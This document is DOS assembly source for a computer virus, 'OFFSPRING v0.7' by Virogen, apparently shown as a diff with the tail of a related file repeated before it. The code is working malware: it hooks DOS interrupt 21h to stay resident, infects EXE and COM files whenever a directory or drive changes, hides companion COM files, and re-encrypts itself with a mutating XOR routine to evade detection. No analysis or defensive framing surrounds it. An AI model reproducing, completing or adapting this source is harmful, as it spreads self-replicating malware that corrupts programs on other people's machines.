||||
|
||||
JNE CONT_INF0 ; Yes, don't infect
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF0:
|
||||
|
||||
MOV AX,3D02H ; Open file for reading & writing
|
||||
LEA DX,VEND[F_NAME] ; Filename in FF/FN buffer
|
||||
INT 21H
|
||||
|
||||
JNC CONT_INF1 ; error, skip infection
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF1:
|
||||
|
||||
|
||||
MOV BX,AX
|
||||
|
||||
MOV AH,3FH ; Read first five bytes of file
|
||||
MOV CX,05
|
||||
LEA DX,FIRST_FIVE
|
||||
INT 21H
|
||||
|
||||
CMP WORD PTR FIRST_FIVE,9090H
|
||||
JNE CONT_INF
|
||||
MOV AH,3EH
|
||||
INT 21H
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF:
|
||||
INC INF_COUNT
|
||||
MOV AX,4202H ; Set pointer to end of file, so we
|
||||
XOR CX,CX ; can find the file size
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
|
||||
;SUB AX,0100h ; Subtract PSP size
|
||||
MOV WORD PTR SET_SI,AX ; Change the MOV SI inst.
|
||||
MOV WORD PTR ADD_DI,AX ; ADD DI,xxxx
|
||||
MOV BYTE PTR DI_INS,81H ; ADD DI op
|
||||
|
||||
MOV AX,4200H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
|
||||
MOV AX,VEND[F_SIZEH]
|
||||
SUB AX,5
|
||||
MOV WORD PTR NEW_JMP+1,AX
|
||||
|
||||
|
||||
MOV AH,40H
|
||||
MOV CX,6
|
||||
LEA DX,NEW_CODE
|
||||
INT 21H
|
||||
|
||||
MOV AX,4202H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
|
||||
|
||||
ENCRYPT_OPS:
|
||||
|
||||
;-----------------------------
|
||||
; Change encryptions ops
|
||||
|
||||
PUSH BX
|
||||
|
||||
MOV AX,WORD PTR XCHG_1 ; Switch XCHG_1, and XCHG_2
|
||||
MOV BX,WORD PTR XCHG_2
|
||||
MOV WORD PTR XCHG_1,BX
|
||||
MOV WORD PTR XCHG_2,AX
|
||||
MOV AH, BYTE PTR XCHG_1+2
|
||||
MOV BH, BYTE PTR XCHG_2+2
|
||||
MOV BYTE PTR XCHG_1+2,BH
|
||||
MOV BYTE PTR XCHG_2+2,AH
|
||||
|
||||
XOR_DONE:
|
||||
|
||||
CHG_TWO:
|
||||
XOR CX,CX ; CX=0
|
||||
LEA DI,SW_BYTE1 ; DI->sw_byte1
|
||||
|
||||
CHG_REST:
|
||||
INC ROT_NUM ; increment rotation number
|
||||
MOV BX,ROT_NUM ; bx=rotation num
|
||||
MOV AH,OP_SET[BX] ; ah = new op code from set
|
||||
MOV BYTE PTR [DI],AH
|
||||
|
||||
CMP ROT_NUM,MAX_ROTATION ; max rotation num?
|
||||
JNE CHG_CNT ; no, chg_cnt
|
||||
MOV WORD PTR ROT_NUM,0 ; reset rotation num
|
||||
CHG_CNT:
|
||||
INC CX ; increment count
|
||||
CMP CX,1
|
||||
LEA DI,M_SW1
|
||||
JE CHG_REST
|
||||
CMP CX,2
|
||||
LEA DI,M_SW2
|
||||
JE CHG_REST
|
||||
CMP CX,3
|
||||
LEA DI,M_SW3
|
||||
JE CHG_REST
|
||||
CMP CX,4
|
||||
LEA DI,SW_BYTE1
|
||||
JE CHG_REST
|
||||
|
||||
CHG_THREE:
|
||||
XOR CX,CX
|
||||
LEA DI,SW_BYTE3
|
||||
CHG_FOUR:
|
||||
CMP BYTE PTR [DI],47H ; is first byte (of 3rd) 'INC DI'?
|
||||
MOV BX,1 ;
|
||||
JE MOV_POS ; Yes, so change it to the second
|
||||
CMP BYTE PTR [DI+1],47H ; is second byte 'INC DI'
|
||||
MOV BX,2 ;
|
||||
JE MOV_POS ; Yes, change it to the third
|
||||
XOR BX,BX ; Else, must be in final position
|
||||
MOV_POS: MOV WORD PTR [DI],9090H ; set all three bytes (of 3rd)
|
||||
MOV BYTE PTR [DI+2],90H ; to NOP
|
||||
MOV BYTE PTR [DI+BX],47H ; place 'INC DI' in necessary pos.
|
||||
|
||||
CMP BX,2
|
||||
JNE NO_CHANGE
|
||||
INC CX
|
||||
CMP CX,2
|
||||
LEA DI,SW_BYTE4
|
||||
JNE CHG_FOUR
|
||||
|
||||
NO_CHANGE:
|
||||
CMP BYTE PTR TIMES_INC,9
|
||||
JE INC_NUM
|
||||
INC WORD PTR B_WR
|
||||
INC WORD PTR E_JMP
|
||||
INC WORD PTR E_JMP
|
||||
INC TIMES_INC
|
||||
JMP D2
|
||||
INC_NUM:
|
||||
SUB WORD PTR B_WR,09
|
||||
SUB WORD PTR E_JMP,18
|
||||
MOV TIMES_INC,0
|
||||
|
||||
;-----------------------
|
||||
; Get random XOR number, save it, copy virus, encrypt code
|
||||
|
||||
D2:
|
||||
|
||||
MOV AH,2CH ;
|
||||
INT 21H ; Get random number from clock - millisecs
|
||||
|
||||
MOV WORD PTR XOR_OP+2,DX ; save encryption #
|
||||
|
||||
|
||||
MOV SI,0100H
|
||||
LEA DI,VEND+50 ; destination
|
||||
MOV CX,OFFSET VEND-100H ; bytes to move
|
||||
CLD
|
||||
REP MOVSB ; copy virus outside of code
|
||||
|
||||
|
||||
LEA DI,VEND+ENC_DATA-204 ; offset of new copy of virus
|
||||
CMP BYTE PTR VTYPE, PARASTIC
|
||||
JNE GO_ENC
|
||||
;add di,si
|
||||
|
||||
GO_ENC:
|
||||
CALL ENCRYPT ; encrypt new copy of virus
|
||||
|
||||
;----------------------------------------
|
||||
; Write and close new infected file
|
||||
|
||||
POP BX
|
||||
MOV CX, OFFSET VEND-100H ; # of bytes to write
|
||||
LEA DX, VEND+50 ; Offset of buffer
|
||||
MOV AH, 40H ; -- our program in memory
|
||||
INT 21H ; Call INT 21H function 40h
|
||||
|
||||
CMP VTYPE, PARASTIC ; parastic?
|
||||
JNE CLOSE ; no, don't need to restore date/time
|
||||
|
||||
MOV AX,5701H ; Restore data/time
|
||||
MOV CX,VEND[F_TIME]
|
||||
MOV DX,VEND[F_DATE]
|
||||
INT 21H
|
||||
|
||||
|
||||
CLOSE: MOV AH, 3EH
|
||||
INT 21H
|
||||
|
||||
|
||||
NO_INFECT:
|
||||
|
||||
; Find next file
|
||||
FIND_FILE :
|
||||
|
||||
CMP INF_COUNT, MAX_INF
|
||||
JE END_PROG
|
||||
MOV AH,4FH
|
||||
INT 21H
|
||||
JC END_PROG
|
||||
JMP NEXT_LOOP
|
||||
|
||||
|
||||
END_PROG:
|
||||
EXIT :
|
||||
CMP INF_COUNT,0 ; Start parastic infection on next run
|
||||
JNE FIND_DONE
|
||||
CMP VTYPE, PARASTIC ; Parastic infection done?
|
||||
JE FIND_DONE ; yes, we're finished
|
||||
MOV FNAME_OFF, OFFSET FNAME2 ; Point to new filespec
|
||||
MOV VTYPE, PARASTIC ; virus type = parastic
|
||||
JMP FIND_FIRST
|
||||
|
||||
|
||||
FIND_DONE:
|
||||
MOV VTYPE,SPAWN
|
||||
MOV FNAME_OFF, OFFSET FNAME1
|
||||
RET
|
||||
RESIDENT ENDP
|
||||
|
||||
END_ENCRYPT: ; Let's encrypt everything up to here
|
||||
OP_SET DB 90H ; NOP
|
||||
DB 40H ; INC AX
|
||||
DB 43H ; INC BX
|
||||
DB 48H ; DEC AX
|
||||
DB 4BH ; DEC BX
|
||||
DB 0FBH ; STI
|
||||
DB 0FCH ; CLD
|
||||
DB 4AH ; DEC DX
|
||||
DB 42H ; INC DX
|
||||
DB 14 DUP(090H)
|
||||
;------------------------------------------------
|
||||
; Encrypt/Decrypt Routine
|
||||
;-----------------------------------------------
|
||||
|
||||
ENCRYPT PROC
|
||||
CX_M DB 0B9H ; MOV CX
|
||||
B_WR DW (OFFSET END_ENCRYPT-OFFSET ENC_DATA)/2
|
||||
E2:
|
||||
SW_BYTE1: ; XOR [di],dx swaps positions with this
|
||||
NOP
|
||||
XOR_OP: XOR WORD PTR [DI],0666H ; Xor each word - number changes accordingly
|
||||
SW_BYTE3: ; INC DI changes position in these bytes
|
||||
INC DI
|
||||
NOP
|
||||
NOP
|
||||
SW_BYTE4: ; INC DI changes position in these bytes
|
||||
INC DI
|
||||
NOP
|
||||
NOP
|
||||
SW_BYTE2:
|
||||
NOP ; This byte changes into a char in op_set
|
||||
LOOP E2 ; loop while cx != 0
|
||||
|
||||
RET
|
||||
|
||||
ENCRYPT ENDP
|
||||
|
||||
VEND DW 0 ; End of virus
|
||||
|
||||
CSEG ENDS
|
||||
END START
|
|
@ -0,0 +1,714 @@
|
|||
;-------------------------------------------------------------------------
|
||||
; ************************************************
|
||||
; OFFSPRING v0.7 - BY VIROGEN - 04-26-93
|
||||
; ************************************************
|
||||
;
|
||||
; - Compatible with A86 v3.22
|
||||
;
|
||||
;
|
||||
; DISCLAIMER : Don't hold me responsible for any damages, or the release
|
||||
; of this virus. Use at your own risk.
|
||||
;
|
||||
; TYPE : Parastic Spawning Resident Encrypting (PSRhA)
|
||||
;
|
||||
;
|
||||
; VERSION : BETA 0.7
|
||||
;
|
||||
; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function
|
||||
; 0Eh (change drive) is called the virus will infect
|
||||
; up to 5 files in the current directory (the one
|
||||
; you're coming out of). It will first infect all
|
||||
; EXE files by creating a corresponding COM. Once
|
||||
; all EXE files have been infected, it then infects
|
||||
; COM files. All COM files created by a spawning
|
||||
; infection will have the read-only and hidden
|
||||
; attribute.
|
||||
;
|
||||
;
|
||||
; THE ENCRYPION OF THIS VIRUS :
|
||||
; Ok, this virus's encryption method is a simple
|
||||
; XOR. The encryption operands are changed directly.
|
||||
; Also, the operands are switched around, and the
|
||||
; bytes between them are constantly changed. The
|
||||
; call to the encryption routine changes, so the
|
||||
; address can be anywhere in a field of NOPs.
|
||||
; Not anything overly amazing, but it works.
|
||||
;
|
||||
;
|
||||
TITLE OFFSPRING_1
|
||||
.286
|
||||
CSEG SEGMENT
|
||||
ASSUME CS: CSEG, SS: CSEG, ES: CSEG
|
||||
|
||||
SIGNAL EQU 7DH ; Installation check
|
||||
REPLY EQU 0FCH ; reply to check
|
||||
CR EQU 0DH ; carraige return
|
||||
LF EQU 0AH ; line feed
|
||||
F_NAME EQU 1EH ; Offset of file name in FF/FN buffer
|
||||
F_SIZEL EQU 1CH ; File size - low
|
||||
F_SIZEH EQU 1AH ; File size - high
|
||||
F_DATE EQU 18H ; File date
|
||||
F_TIME EQU 16H ; File time
|
||||
MAX_INF EQU 05 ; Maximum files to infect per run
|
||||
MAX_ROTATION EQU 9 ; number of bytes in switch byte table
|
||||
PARASTIC EQU 01 ; Parastic infection
|
||||
SPAWN EQU 00 ; Spawning infection
|
||||
|
||||
ORG 100H ; Leave room for PSP
|
||||
|
||||
;------------------------------------------------------------------
|
||||
; Start of viral code
|
||||
;------------------------------------------------------------------
|
||||
|
||||
START:
|
||||
|
||||
DB 0BEH ; MOV SI,xxxx - Load delta offset
|
||||
SET_SI: DW 0000H
|
||||
|
||||
SKIP_DEC: JMP NO_DEC ; Skip decryption, changes into NOP on
|
||||
; replicated copies.
|
||||
M_SW1: NOP ; changs into a byte in op_set
|
||||
XCHG_1 DB 0BFH
|
||||
DW OFFSET ENC_DATA+2 ; Point to byte after encryption num
|
||||
; Switches positions with XCHG_2
|
||||
M_SW2: NOP ; changes into a byte in op_set
|
||||
XCHG_2 DB 090H
|
||||
ENC_NUM DW 9090H
|
||||
M_SW3: NOP
|
||||
|
||||
DI_INS: DW 0C783H ; ADD DI,0 - changes to ADD DI,xxxx
|
||||
ADD_DI: DW 9000H ; 00-NOP
|
||||
|
||||
CALL_ENC DB 0E8 ; Call encryption routine - address changes
|
||||
E_JMP DW (OFFSET END_ENCRYPT-OFFSET E_JMP+2)
|
||||
NO_DEC:
|
||||
JMP MAIN ; Jump to virus code
|
||||
|
||||
;-----------------------------------------------
|
||||
; Data area
|
||||
;-----------------------------------------------
|
||||
|
||||
ENC_DATA DW 0000 ; Start of encrypted data
|
||||
ROT_NUM DW 0000 ; Used when replacing bytes with OP_SET
|
||||
VTYPE DB 00 ; Spawning or Parastic Infection?
|
||||
INF_COUNT DB 0 ; How many files we have infected this run
|
||||
COM_NAME DB 'COMMAND.COM' ; obvious
|
||||
NEW_CODE DW 9090H ; ID bytes
|
||||
NEW_JMP DB 0E9H,00,00 ; New Jump
|
||||
FIRST_FIVE DB 5 DUP(0) ; original first five bytes of parasic inf.
|
||||
ADD_MEM DB 0 ; restore mem size? Yes,No
|
||||
|
||||
ID DB CR,LF,'(c)1993 negoriV',CR,LF ; my copyright
|
||||
VNAME DB CR,LF,'* Thank you for providing me and my offspring with a safe place to live *'
|
||||
DB CR,LF,'* Offspring I v0.07. *',CR,LF,'$'
|
||||
|
||||
FNAME1 DB '*.EXE',0 ; Filespec
|
||||
FNAME2 DB '*.COM',0 ; Filespec
|
||||
FNAME_OFF DW FNAME1 ; Offset of Filespec to use
|
||||
TIMES_INC DB 0 ; # of times encryption call incremented
|
||||
SL DB '\' ; Backslash for directory name
|
||||
FILE_DIR DB 64 DUP(0) ; directory of file we infected
|
||||
FILE_NAME DB 13 DUP(0) ; filename of file we infected
|
||||
OLD_DTA DD 0 ; old seg:off of DTA
|
||||
OLD21_OFS DW 0 ; Offset of old INT 21H
|
||||
OLD21_SEG DW 0 ; Seg of old INT 21h
|
||||
NEW_SEG DW 0 ; New segment in high mem
|
||||
|
||||
PAR_BLK DW 0 ; command line count byte -psp
|
||||
PAR_CMD DW 0080H ; Point to the command line -psp
|
||||
PAR_SEG DW 0 ; seg
|
||||
DW 05CH ; Use default FCB's in psp to save space
|
||||
PAR1 DW 0 ;
|
||||
DW 06CH ; FCB #2
|
||||
PAR2 DW 0 ;
|
||||
|
||||
;--------------------------------------------------------------------
|
||||
; INT 21h
|
||||
;---------------------------------------------------------------------
|
||||
|
||||
NEW21 PROC ; New INT 21H handler
|
||||
|
||||
CMP AH, SIGNAL ; signaling us?
|
||||
JNE NO
|
||||
MOV AH,REPLY ; yep, give our offspring what he wants
|
||||
JMP END_21
|
||||
NO:
|
||||
CMP AH, 3BH ; set dir func?
|
||||
JE RUN_RES
|
||||
CMP AH,0EH ; set disk func?
|
||||
JE RUN_RES
|
||||
|
||||
JMP END_21
|
||||
|
||||
RUN_RES:
|
||||
PUSHF
|
||||
PUSH AX ; Push regs
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH DI
|
||||
PUSH SI
|
||||
PUSH BP
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
PUSH SP
|
||||
PUSH SS
|
||||
|
||||
PUSH CS
|
||||
POP DS
|
||||
|
||||
XOR AX,AX ; nullify ES
|
||||
MOV ES,AX
|
||||
|
||||
CMP ADD_MEM,1 ; Restore system conventional mem size?
|
||||
JE REL_MEM ;
|
||||
CMP AH,48H ; alloc. mem block? If so we subtract 3k from
|
||||
JE SET_MEM ; total system memory.
|
||||
|
||||
JMP NO_MEM_FUNC
|
||||
|
||||
SET_MEM:
|
||||
SUB WORD PTR ES: [413H],3 ; Subtract 3k from total sys mem
|
||||
INC ADD_MEM ; make sure we know to add this back
|
||||
JMP NO_MEM_FUNC
|
||||
REL_MEM:
|
||||
ADD WORD PTR ES: [413H],3 ; Add 3k to total sys mem
|
||||
DEC ADD_MEM
|
||||
|
||||
|
||||
NO_MEM_FUNC:
|
||||
MOV AH,2FH
|
||||
INT 21H ; Get the DTA
|
||||
|
||||
MOV AX,ES
|
||||
MOV WORD PTR OLD_DTA,BX
|
||||
MOV WORD PTR OLD_DTA+2,AX
|
||||
PUSH CS
|
||||
POP ES
|
||||
|
||||
CALL RESIDENT ; Call infection kernal
|
||||
|
||||
MOV DX,WORD PTR OLD_DTA
|
||||
MOV AX,WORD PTR OLD_DTA+2
|
||||
MOV DS,AX
|
||||
MOV AH,1AH
|
||||
INT 21H ; Restore the DTA
|
||||
|
||||
POP SS ; Pop regs
|
||||
POP SP
|
||||
POP ES
|
||||
POP DS
|
||||
POP BP
|
||||
POP SI
|
||||
POP DI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
POPF
|
||||
END_21 :
|
||||
JMP [ DWORD PTR CS: OLD21_OFS] ; jump to original int 21h
|
||||
IRET
|
||||
NEW21 ENDP ; End of handler
|
||||
|
||||
|
||||
;------------------------------------------------------------
|
||||
; Main
|
||||
;-----------------------------------------------------------
|
||||
MAIN PROC
|
||||
|
||||
MOV WORD PTR [SI+OFFSET SKIP_DEC],9090H ; NOP the jump past decryption
|
||||
MOV BYTE PTR [SI+OFFSET SKIP_DEC+2],90H
|
||||
|
||||
MOV AX,DS: 002CH ; Get environment address
|
||||
MOV [SI+OFFSET PAR_BLK],AX ; Save in parameter block for exec
|
||||
|
||||
MOV [SI+OFFSET PAR1],CS ; Save segments for EXEC
|
||||
MOV [SI+OFFSET PAR2],CS
|
||||
MOV [SI+OFFSET PAR_SEG],CS
|
||||
|
||||
MOV AH,2AH ; Get date
|
||||
INT 21H
|
||||
|
||||
CMP DL,14 ; 14th?
|
||||
JNE NO_DISPLAY
|
||||
|
||||
MOV AH,09 ; Display message
|
||||
LEA DX,[SI+OFFSET ID]
|
||||
INT 21H
|
||||
|
||||
NO_DISPLAY:
|
||||
CALL INSTALL ; check if installed, if not install
|
||||
|
||||
CMP BYTE PTR [SI+OFFSET VTYPE],PARASTIC
|
||||
JE SKIP_THIS
|
||||
MOV BX,(OFFSET VEND+50) ; Calculate memory needed
|
||||
MOV CL,4 ; divide by 16
|
||||
SHR BX,CL
|
||||
INC BX
|
||||
MOV AH,4AH
|
||||
INT 21H ; Release un-needed memory
|
||||
|
||||
LEA DX,[SI+OFFSET FILE_DIR -1] ; Execute the original EXE
|
||||
LEA BX,[SI+OFFSET PAR_BLK]
|
||||
MOV AX,4B00H
|
||||
INT 21H
|
||||
|
||||
MOV AH,4CH ; Exit
|
||||
INT 21H
|
||||
|
||||
SKIP_THIS:
|
||||
|
||||
MOV CX,5 ; Restore original first
|
||||
ADD SI,OFFSET FIRST_FIVE ; five bytes of COM file
|
||||
MOV DI,0100H
|
||||
CLD
|
||||
REP MOVSB
|
||||
|
||||
MOV AX,0100H ; Simulate CALL return to 0100h
|
||||
PUSH AX
|
||||
RET
|
||||
|
||||
MAIN ENDP
|
||||
|
||||
;---------------
|
||||
; INSTALL - Install the virus
|
||||
;--------------
|
||||
|
||||
INSTALL PROC
|
||||
|
||||
MOV AH,SIGNAL
|
||||
INT 21H
|
||||
CMP AH,REPLY
|
||||
JE NO_INSTALL
|
||||
|
||||
MOV AX,CS
|
||||
DEC AX
|
||||
MOV DS,AX
|
||||
CMP BYTE PTR DS: [0],'Z' ;Is this the last MCB in
|
||||
;the chain?
|
||||
JNE NO_INSTALL
|
||||
|
||||
|
||||
MOV AX,DS: [3] ;Block size in MCB
|
||||
SUB AX,190 ;Shrink Block Size-quick estimate
|
||||
MOV DS: [3],AX
|
||||
|
||||
MOV BX,AX
|
||||
MOV AX,ES
|
||||
ADD AX,BX
|
||||
MOV ES,AX ;Find high memory seg
|
||||
|
||||
PUSH SI
|
||||
ADD SI,0100H
|
||||
MOV CX,(OFFSET VEND - OFFSET START)
|
||||
MOV AX,DS
|
||||
INC AX
|
||||
MOV DS,AX
|
||||
MOV DI,100H ; New location in high memory
|
||||
CLD
|
||||
REP MOVSB ; Copy virus to high memory
|
||||
|
||||
POP SI
|
||||
MOV DS: NEW_SEG,ES ;Save new segment
|
||||
|
||||
PUSH ES
|
||||
POP DS
|
||||
XOR AX,AX
|
||||
MOV ES,AX ; null es
|
||||
MOV AX,ES: [21H*4+2]
|
||||
MOV BX,ES: [21H*4]
|
||||
MOV DS: OLD21_SEG,AX ; Store segment
|
||||
MOV DS: OLD21_OFS,BX ; Store offset
|
||||
|
||||
CLI
|
||||
|
||||
MOV ES: [21H*4+2],DS ; Save seg
|
||||
LEA AX,[OFFSET NEW21]
|
||||
MOV ES: [21H*4],AX ; off
|
||||
|
||||
STI
|
||||
|
||||
NO_INSTALL:
|
||||
PUSH CS ; Restore regs
|
||||
POP DS
|
||||
MOV ES,DS
|
||||
|
||||
RET
|
||||
INSTALL ENDP
|
||||
|
||||
;------------------------
|
||||
; Resident - This is called from the INT 21h handler
|
||||
;-----------------------------
|
||||
RESIDENT PROC
|
||||
|
||||
MOV VTYPE,SPAWN
|
||||
MOV WORD PTR SET_SI,0000 ; SI=0000 on load
|
||||
MOV BYTE PTR DI_INS,83H ; ADD DI,0 op
|
||||
MOV WORD PTR ADD_DI,9000H ; 0090h for ADD DI,00
|
||||
MOV BYTE PTR INF_COUNT,0 ; null infection count
|
||||
MOV FNAME_OFF, OFFSET FNAME1 ; Set search for *.EXE
|
||||
|
||||
FIND_FIRST:
|
||||
MOV WORD PTR VEND,0 ; Clear ff/fn buffer
|
||||
LEA SI, VEND
|
||||
LEA DI, VEND+2
|
||||
MOV CX,22
|
||||
CLD
|
||||
REP MOVSW
|
||||
|
||||
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
|
||||
MOV AH, 1AH
|
||||
LEA DX, VEND
|
||||
INT 21H
|
||||
|
||||
MOV AH, 4EH ; Findfirst
|
||||
MOV CX, 0 ; Set normal file attribute search
|
||||
MOV DX, FNAME_OFF
|
||||
INT 21H
|
||||
|
||||
JNC NEXT_LOOP ; if still finding files then loop
|
||||
JMP END_PROG
|
||||
|
||||
NEXT_LOOP :
|
||||
CMP VTYPE, PARASTIC ; parastic infection?
|
||||
JE START_INF ; yes, skip all this
|
||||
|
||||
MOV AH,47H
|
||||
XOR DL,DL
|
||||
LEA SI,FILE_DIR
|
||||
INT 21H
|
||||
|
||||
CMP WORD PTR VEND[F_SIZEL],0 ; Make sure file isn't 64k+
|
||||
JE OK_FIND ; for spawning infections
|
||||
JMP FIND_FILE
|
||||
|
||||
OK_FIND:
|
||||
XOR BX,BX
|
||||
LM3 : ; find end of directory name
|
||||
INC BX
|
||||
CMP FILE_DIR[BX],0
|
||||
JNE LM3
|
||||
|
||||
MOV FILE_DIR[BX],'\' ; append backslash to path
|
||||
INC BX
|
||||
|
||||
MOV CX,13 ; append filename to path
|
||||
LEA SI,VEND[F_NAME]
|
||||
LEA DI,FILE_DIR[BX]
|
||||
CLD
|
||||
REP MOVSB
|
||||
|
||||
XOR BX,BX
|
||||
MOV BX,1EH
|
||||
|
||||
LOOP_ME: ; search for filename ext.
|
||||
INC BX
|
||||
CMP BYTE PTR VEND[BX], '.'
|
||||
JNE LOOP_ME
|
||||
|
||||
INC BX ; change it to COM
|
||||
MOV WORD PTR VEND [BX],'OC'
|
||||
MOV BYTE PTR VEND [BX+2],'M'
|
||||
|
||||
|
||||
START_INF:
|
||||
|
||||
CMP VTYPE, PARASTIC ; parastic infection?
|
||||
JE PARASTIC_INF ; yes.. so jump
|
||||
|
||||
;--------------------------------------
|
||||
; Spawning infection
|
||||
|
||||
LEA DX, VEND[F_NAME]
|
||||
MOV AH, 3CH ; Create file
|
||||
MOV CX, 02H ; READ-ONLY
|
||||
OR CX, 01H ; Hidden
|
||||
INT 21H ; Call INT 21H
|
||||
JNC CONTIN ; If Error-probably already infected
|
||||
JMP NO_INFECT
|
||||
CONTIN:
|
||||
|
||||
INC INF_COUNT
|
||||
MOV BX,AX
|
||||
|
||||
JMP ENCRYPT_OPS
|
||||
;----------------------------------------
|
||||
; Parastic infection
|
||||
|
||||
PARASTIC_INF :
|
||||
|
||||
CMP VEND[F_SIZEh],400H
|
||||
JGE CONT_INF2
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF2:
|
||||
|
||||
LEA SI,VEND[F_NAME] ; Is Command.COM?
|
||||
LEA DI,COM_NAME
|
||||
MOV CX,11
|
||||
CLD
|
||||
REPE CMPSB
|
||||
|
||||
JNE CONT_INF0 ; Yes, don't infect
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF0:
|
||||
|
||||
MOV AX,3D02H ; Open file for reading & writing
|
||||
LEA DX,VEND[F_NAME] ; Filename in FF/FN buffer
|
||||
INT 21H
|
||||
|
||||
JNC CONT_INF1 ; error, skip infection
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF1:
|
||||
|
||||
|
||||
MOV BX,AX
|
||||
|
||||
MOV AH,3FH ; Read first five bytes of file
|
||||
MOV CX,05
|
||||
LEA DX,FIRST_FIVE
|
||||
INT 21H
|
||||
|
||||
CMP WORD PTR FIRST_FIVE,9090H
|
||||
JNE CONT_INF
|
||||
MOV AH,3EH
|
||||
INT 21H
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF:
|
||||
INC INF_COUNT
|
||||
MOV AX,4202H ; Set pointer to end of file, so we
|
||||
XOR CX,CX ; can find the file size
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
|
||||
;SUB AX,0100h ; Subtract PSP size
|
||||
MOV WORD PTR SET_SI,AX ; Change the MOV SI inst.
|
||||
MOV WORD PTR ADD_DI,AX ; ADD DI,xxxx
|
||||
MOV BYTE PTR DI_INS,81H ; ADD DI op
|
||||
|
||||
MOV AX,4200H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
|
||||
MOV AX,VEND[F_SIZEH]
|
||||
SUB AX,5
|
||||
MOV WORD PTR NEW_JMP+1,AX
|
||||
|
||||
|
||||
MOV AH,40H
|
||||
MOV CX,6
|
||||
LEA DX,NEW_CODE
|
||||
INT 21H
|
||||
|
||||
MOV AX,4202H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
|
||||
|
||||
ENCRYPT_OPS:
|
||||
|
||||
;-----------------------------
|
||||
; Change encryptions ops
|
||||
|
||||
PUSH BX
|
||||
|
||||
MOV AX,WORD PTR XCHG_1 ; Switch XCHG_1, and XCHG_2
|
||||
MOV BX,WORD PTR XCHG_2
|
||||
MOV WORD PTR XCHG_1,BX
|
||||
MOV WORD PTR XCHG_2,AX
|
||||
MOV AH, BYTE PTR XCHG_1+2
|
||||
MOV BH, BYTE PTR XCHG_2+2
|
||||
MOV BYTE PTR XCHG_1+2,BH
|
||||
MOV BYTE PTR XCHG_2+2,AH
|
||||
|
||||
XOR_DONE:
|
||||
|
||||
CHG_TWO:
|
||||
XOR CX,CX ; CX=0
|
||||
LEA DI,SW_BYTE1 ; DI->sw_byte1
|
||||
|
||||
CHG_REST:
|
||||
INC ROT_NUM ; increment rotation number
|
||||
MOV BX,ROT_NUM ; bx=rotation num
|
||||
MOV AH,OP_SET[BX] ; ah = new op code from set
|
||||
MOV BYTE PTR [DI],AH
|
||||
|
||||
CMP ROT_NUM,MAX_ROTATION ; max rotation num?
|
||||
JNE CHG_CNT ; no, chg_cnt
|
||||
MOV WORD PTR ROT_NUM,0 ; reset rotation num
|
||||
CHG_CNT:
|
||||
INC CX ; increment count
|
||||
CMP CX,1
|
||||
LEA DI,M_SW1
|
||||
JE CHG_REST
|
||||
CMP CX,2
|
||||
LEA DI,M_SW2
|
||||
JE CHG_REST
|
||||
CMP CX,3
|
||||
LEA DI,M_SW3
|
||||
JE CHG_REST
|
||||
CMP CX,4
|
||||
LEA DI,SW_BYTE1
|
||||
JE CHG_REST
|
||||
|
||||
CHG_THREE:
|
||||
XOR CX,CX
|
||||
LEA DI,SW_BYTE3
|
||||
CHG_FOUR:
|
||||
CMP BYTE PTR [DI],47H ; is first byte (of 3rd) 'INC DI'?
|
||||
MOV BX,1 ;
|
||||
JE MOV_POS ; Yes, so change it to the second
|
||||
CMP BYTE PTR [DI+1],47H ; is second byte 'INC DI'
|
||||
MOV BX,2 ;
|
||||
JE MOV_POS ; Yes, change it to the third
|
||||
XOR BX,BX ; Else, must be in final position
|
||||
MOV_POS: MOV WORD PTR [DI],9090H ; set all three bytes (of 3rd)
|
||||
MOV BYTE PTR [DI+2],90H ; to NOP
|
||||
MOV BYTE PTR [DI+BX],47H ; place 'INC DI' in necessary pos.
|
||||
|
||||
CMP BX,2
|
||||
JNE NO_CHANGE
|
||||
INC CX
|
||||
CMP CX,2
|
||||
LEA DI,SW_BYTE4
|
||||
JNE CHG_FOUR
|
||||
|
||||
NO_CHANGE:
|
||||
CMP BYTE PTR TIMES_INC,9
|
||||
JE INC_NUM
|
||||
INC WORD PTR B_WR
|
||||
INC WORD PTR E_JMP
|
||||
INC WORD PTR E_JMP
|
||||
INC TIMES_INC
|
||||
JMP D2
|
||||
INC_NUM:
|
||||
SUB WORD PTR B_WR,09
|
||||
SUB WORD PTR E_JMP,18
|
||||
MOV TIMES_INC,0
|
||||
|
||||
;-----------------------
|
||||
; Get random XOR number, save it, copy virus, encrypt code
|
||||
|
||||
D2:
|
||||
|
||||
MOV AH,2CH ;
|
||||
INT 21H ; Get random number from clock - millisecs
|
||||
|
||||
MOV WORD PTR XOR_OP+2,DX ; save encryption #
|
||||
|
||||
|
||||
MOV SI,0100H
|
||||
LEA DI,VEND+50 ; destination
|
||||
MOV CX,OFFSET VEND-100H ; bytes to move
|
||||
CLD
|
||||
REP MOVSB ; copy virus outside of code
|
||||
|
||||
|
||||
LEA DI,VEND+ENC_DATA-204 ; offset of new copy of virus
|
||||
CMP BYTE PTR VTYPE, PARASTIC
|
||||
JNE GO_ENC
|
||||
;add di,si
|
||||
|
||||
GO_ENC:
|
||||
CALL ENCRYPT ; encrypt new copy of virus
|
||||
|
||||
;----------------------------------------
|
||||
; Write and close new infected file
|
||||
|
||||
POP BX
|
||||
MOV CX, OFFSET VEND-100H ; # of bytes to write
|
||||
LEA DX, VEND+50 ; Offset of buffer
|
||||
MOV AH, 40H ; -- our program in memory
|
||||
INT 21H ; Call INT 21H function 40h
|
||||
|
||||
